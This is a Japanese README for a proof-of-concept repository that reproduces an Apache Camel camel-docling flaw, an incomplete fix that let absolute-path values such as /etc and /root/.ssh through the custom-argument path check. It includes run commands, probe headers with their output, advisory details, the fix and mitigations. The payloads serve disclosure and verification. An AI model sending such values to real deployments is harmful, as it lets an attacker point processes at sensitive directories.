
validatePathSafety が絶対パスを拒否しなかった(CVE-2026-40047 の不完全な修正)Apache Camel の脆弱性に対する実行可能な概念実証(PoC)再現プログラムです。この脆弱性では、CVE-2026-40047 の修正で導入されたカスタム引数のパスチェックが、相対的なトラバーサルのみを対象としていました。../ を含む値や、正規化後も .. 要素が残る値を拒否していましたが、値が絶対パスであるかどうかは一切チェックしておらず、トラバーサルセグメントを含まない絶対パスにはどちらも該当しません。
| ランタイム | ディレクトリ | スタック |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0(Quarkus 3.39.0、Camel 4.22.0) |
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
影響を受けるビルドでの出力(両ランタイムで同一):
1) A relative traversal value, which the CVE-2026-40047 fix does reject
header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
2) Traversal hidden behind redundant separators - also rejected (normalized first)
header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
3) An ABSOLUTE path, which contains no traversal sequence at all
header CamelDoclingCustomArguments = [--artifacts-path, /etc]
argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
4) The same, attached to the flag after an equals sign
header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
>>> PROVEN: ...
プローブ1と2は、CVE-2026-40047の修正が機能していることを示しています。プローブ3と4がギャップです。このフラグはその修正の許可リストに含まれており(--artifacts-path はdoclingにモデルアーティファクトの場所を伝えます)、値は両方の引数形式で通過してしまいます — フラグの後に続く別個のリスト要素として、また = の後に付加される形として。したがって、カスタム引数を選択できる当事者は、doclingプロセスを、Camelプロセスがアクセスできる任意のディレクトリ(チェックがパス値を留めようとしていた作業ディレクトリの外)に向けることができ、これはまさに以前の修正が防ごうとしていた結果です。
doclingのインストールは不要です。欠陥はCamelが構築するコマンドラインにあるため、エンドポイントの doclingCommand オプションは、渡された引数ベクトルをファイルに書き出す記録用のCLIスタンドインを指します。実際の DoclingProducer、実際の validateCustomArguments()、実際の validatePathSafety() が実行され、外部ツールのみが置き換えられます。
カスタム引数をdoclingに渡すのは、デフォルトであるCLIモードのみです。
CamelDoclingCustomArguments はCamelのヘッダー名前空間に属しており、Camelのデフォルトのヘッダーフィルタリングを適用するコンシューマー(たとえばJMSやKafkaのコンシューマー)は、受信メッセージからこれを除去します。したがって、この問題に到達するのは、ルートが外部から影響を受けた値をヘッダーに転送する場合、またはコンシューマーがそのフィルタリングなしで受信ヘッダーをマッピングする場合です。
| プロパティ | 値 |
|---|---|
| コンポーネント | camel-docling (DoclingProducer.validatePathSafety()) |
| CWE | CWE-22 (パス名の制限ディレクトリへの不適切な制限) |
| 深刻度 | 中 |
| 攻撃ベクトル | CamelDoclingCustomArguments 内の許可リストに載っているパス風フラグの値としての絶対パス |
| 影響 | doclingプロセスを、Camelプロセスがアクセスできる任意のディレクトリに向ける |
| 影響を受けるバージョン | 4.15.0から4.18.5未満、4.19.0から4.22.2未満 |
| 修正済みバージョン | 4.18.5、4.22.2、4.23.0 |
| JIRA | CAMEL-24893 |
| クレジット | Zhixi "Jace" Sun、独立系セキュリティ研究者 |
アドバイザリ: https://camel.apache.org/security/CVE-2026-95628.html
関連: これは CVE-2026-40047 の不完全な修正であり、同じコンポーネントの出力パスヘッダーは CVE-2026-95629 です。
validatePathSafety は、絶対パスであるパス風のカスタム引数値も拒否するようになり、引数が絶対パスであってはならないという IllegalArgumentException でエクスチェンジを失敗させます。このチェックはすべてのパス風の値を検証する共有ヘルパー内にあるため、両方の引数形式がカバーされます。
main では apache/camel#26738 (fd3bc8e7) で修正され、camel-4.22.x には #26743 (e9233c37) で、camel-4.18.x には #26744 (59d30af1) でバックポートされました。
camel.version を 4.22.2 に設定して再度実行します。4.22.1 → 4.22.2 で検証済み:
3) An ABSOLUTE path, which contains no traversal sequence at all
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path
4) The same, attached to the flag after an equals sign
REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path
>>> NOT reproduced: the absolute path was rejected too.
デプロイメントの外部に由来する値から CamelDoclingCustomArguments を構築しないこと。外部から到着するメッセージが docling エンドポイントに到達する前に、そのヘッダーをメッセージから除去すること。そして、受信ヘッダーをマッピングするコンシューマーが Camel ヘッダーの名前空間を破棄するようにし、カスタム引数を選択するのはルートのみとなるようにすること。
このリポジトリは教育および防御目的で公開されています。Apache Camel ユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを確証できるようにするためです。所有または運用していないシステムに対してこの資料を使用しないでください。